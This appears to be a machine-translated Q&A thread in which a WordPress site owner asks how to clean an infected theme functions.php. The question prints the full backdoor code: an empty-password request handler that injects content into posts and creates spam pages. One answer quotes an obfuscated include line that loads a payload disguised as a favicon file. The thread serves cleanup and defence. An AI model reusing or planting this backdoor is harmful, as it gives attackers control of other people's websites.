2017-01-20 1 views
1
<?php 

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '')) 
{ 
    switch ($_REQUEST['action']) 
    { 
     case 'get_all_links'; 
      foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) 
      { 
       $data['code'] = ''; 

       if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) 
       { 
        $data['code'] = $_[1]; 
       } 

       print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n"; 
      } 
      break; 

     case 'set_id_links'; 
      if (isset($_REQUEST['data'])) 
      { 
       $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); 

       $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content); 
       if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>'; 

       if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) 
       { 
        print "true"; 
       } 
      } 
      break; 

     case 'create_page'; 
      if (isset($_REQUEST['remove_page'])) 
      { 
       if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) 
       { 
        print "true"; 
       } 
      } 
      elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) 
      { 
       if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) 
       { 
        print "true"; 
       } 
      } 
      break; 

     default: print "ERROR_WP_ACTION WP_URL_CD"; 
    } 

    die(""); 
} 

if ($wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"') == '1') 
{ 
    $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); 
    if ($data -> full_content) 
    { 
     print stripslashes($data -> content); 
    } 
    else 
    { 
     print '<!DOCTYPE html>'; 
     print '<html '; 
     language_attributes(); 
     print ' class="no-js">'; 
     print '<head>'; 
     print '<title>'.stripslashes($data -> title).'</title>'; 
     print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; 
     print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; 
     print '<meta name="robots" content="index, follow" />'; 
     print '<meta charset="'; 
     bloginfo('charset'); 
     print '" />'; 
     print '<meta name="viewport" content="width=device-width">'; 
     print '<link rel="profile" href="http://gmpg.org/xfn/11">'; 
     print '<link rel="pingback" href="'; 
     bloginfo('pingback_url'); 
     print '">'; 
     wp_head(); 
     print '</head>'; 
     print '<body>'; 
     print '<div id="content" class="site-content">'; 
     print stripslashes($data -> content); 
     get_search_form(); 
     get_sidebar(); 
     get_footer(); 
    } 

    exit; 
} 

?><?php 
/* 
    Our portfolio: http://themeforest.net/user/tagDiv/portfolio 
    Thanks for using our theme! 
    tagDiv - 2016 
*/ 

/** 
* Load the speed booster framework + theme specific files 
*/ 

// load the deploy mode 
require_once('td_deploy_mode.php'); 

// load the config 
require_once('includes/td_config.php'); 
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10 

// load the wp booster 
require_once('includes/wp_booster/td_wp_booster_functions.php'); 

require_once('includes/td_css_generator.php'); 
require_once('includes/shortcodes/td_misc_shortcodes.php'); 
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets 

/* 
* mobile theme css generator 
* in wp-admin the main theme is loaded and the mobile theme functions are not included 
* required in td_panel_data_source 
* @todo - look for a more elegant solution(ex. generate the css on request) 
*/ 
require_once('mobile/includes/td_css_generator_mob.php'); 

/* ---------------------------------------------------------------------------- 
* Woo Commerce 
*/ 

// breadcrumb 
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs'); 
function td_woocommerce_breadcrumbs() { 
    return array(
     'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ', 
     'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">', 
     'wrap_after' => '</div>', 
     'before' => '', 
     'after' => '', 
     'home' => _x('Home', 'breadcrumb', 'woocommerce'), 
    ); 
} 

// use own pagination 
if (!function_exists('woocommerce_pagination')) { 
    // pagination 
    function woocommerce_pagination() { 
     echo td_page_generator::get_pagination(); 
    } 
} 

// Override theme default specification for product 3 per row 

// Number of product per page 8 
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;')); 

if (!function_exists('woocommerce_output_related_products')) { 
    // Number of related products 
    function woocommerce_output_related_products() { 
     woocommerce_related_products(array(
      'posts_per_page' => 4, 
      'columns' => 4, 
      'orderby' => 'rand', 
     )); // Display 4 products in rows of 1 
    } 
} 

/* ---------------------------------------------------------------------------- 
* bbPress 
*/ 
// change avatar size to 40px 
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) { 
    $author_avatar = ''; 
    if ($size == 14) { 
     $size = 40; 
    } 
    $topic_id = bbp_get_topic_id($topic_id); 
    if (!empty($topic_id)) { 
     if (!bbp_is_topic_anonymous($topic_id)) { 
      $author_avatar = get_avatar(bbp_get_topic_author_id($topic_id), $size); 
     } else { 
      $author_avatar = get_avatar(get_post_meta($topic_id, '_bbp_anonymous_email', true), $size); 
     } 
    } 
    return $author_avatar; 
} 
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3); 
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3); 
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3); 

//add_action('shutdown', 'test_td'); 

function test_td() { 
    if (!is_admin()){ 
     td_api_base::_debug_get_used_on_page_components(); 
    } 
} 

/** 
* tdStyleCustomizer.js is required 
*/ 
if (TD_DEBUG_LIVE_THEME_STYLE) { 
    add_action('wp_footer', 'td_theme_style_footer'); 
     // new live theme demos 
     function td_theme_style_footer() { 
      ?> 
      <div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small"> 
       <div class="td-skin-body"> 
        <div class="td-skin-wrap"> 
         <div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div> 
          <div class="td-skin-container td-skin-header">GET AN AWESOME START!</div> 
          <div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div> 
         <div class="td-skin-container td-skin-content"> 
          <div class="td-demos-list"> 
           <?php 
           $td_demo_names = array(); 

           foreach (td_global::$demo_list as $demo_id => $stack_params) { 
            $td_demo_names[$stack_params['text']] = $demo_id; 
            ?> 
            <div class="td-set-theme-style"><a href="<?php echo td_global::$demo_list[$demo_id]['demo_url'] ?>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="http://demo.tagdiv.com/demos_popup/newspaper/large/<?php echo $demo_id; ?>.jpg"></a></div> 
           <?php } ?> 
           <div class="clearfix"></div> 
          </div> 
         </div> 
         <div class="td-skin-scroll"><i class="td-icon-read-down"></i></div> 
        </div> 
       </div> 
       <div class="clearfix"></div> 
       <div class="td-set-hide-show"><a href="#" id="td-theme-set-hide"></a></div> 
       <div class="td-screen-demo" data-width-preview="380"></div> 
       <div class="td-screen-demo-extend"></div> 
      </div> 
      <?php 
    } 
} 

//print_r(td_global::$all_theme_panels_list); 

내 hosting 바이러스 스캐너가 테마 function.php 파일에 바이러스가 있음을 감지합니다. 웹 사이트에 영향을 미치지 않고 코드를 삭제하는 방법을 모릅니다. 나는 이러한 종류의 바이러스 어려움을 겪고있다 그리고 그것이 해결하기 위해 내가 무엇을했는지WordPress functions.php에서 "SiteLock-PHP-FILEHACKER-of.UNOFFICIAL"을 제거하는 방법

+0

[functions.php의 복제본이 siteLock-php-injector에 감염 되었습니까?] (http://stackoverflow.com/questions/34509733/functions-php-is-infected-by-sitelock-php -injector-how-to-clean-it) –

+0

아니, 그게 내가 가진 문제를 해결하지 못했다. –

답변

0

이 functions.php에서 악성 바이러스 코드 "SiteLock-PHP-FILEHACKER-of.UNOFFICIAL"을 삭제에서 제발 도와주세요 :

  1. 모든 디렉토리를 분석

    정력 또는 나노 사용하고 주입 그냥 삭제를 참조해야하며, 파일이 모두에 대한 확인

  2. 를 반복해야 그들을 열 감염된 파일을 기반으로

  3. 감염된 파일 중 일부는 바이러스에 의해 가져온 .zip 파일을 삭제하고 원래 있던 파일을 유지합니다.

추천으로, 당신은보다 효율적인 방법이 될하지 않을 수 있습니다, 당신의 플러그인과 테마

가 작동 희망 업데이트 유지해야하지만 날 위해 일했습니다.

0

이 바이러스는 영향을받는 파일이라고하는 대부분의 파일에 한 줄의 코드를 추가합니다.

@include "\x2fho\x6de/\x6bks\x68o3\x62c/\x70ub\x6cic\x5fht\x6dl/\x77p-\x69nc\x6cud\x65s/\x6as/\x6acr\x6fp/\x66av\x69co\x6e_f\x389a\x617.\x69co"; 

이 모든 파일에서이 줄을 제거

, 당신은 바이러스/악성 코드 감염 무료 : 내 경우

영향을받는 파일은 일반적인 라인.

관련 문제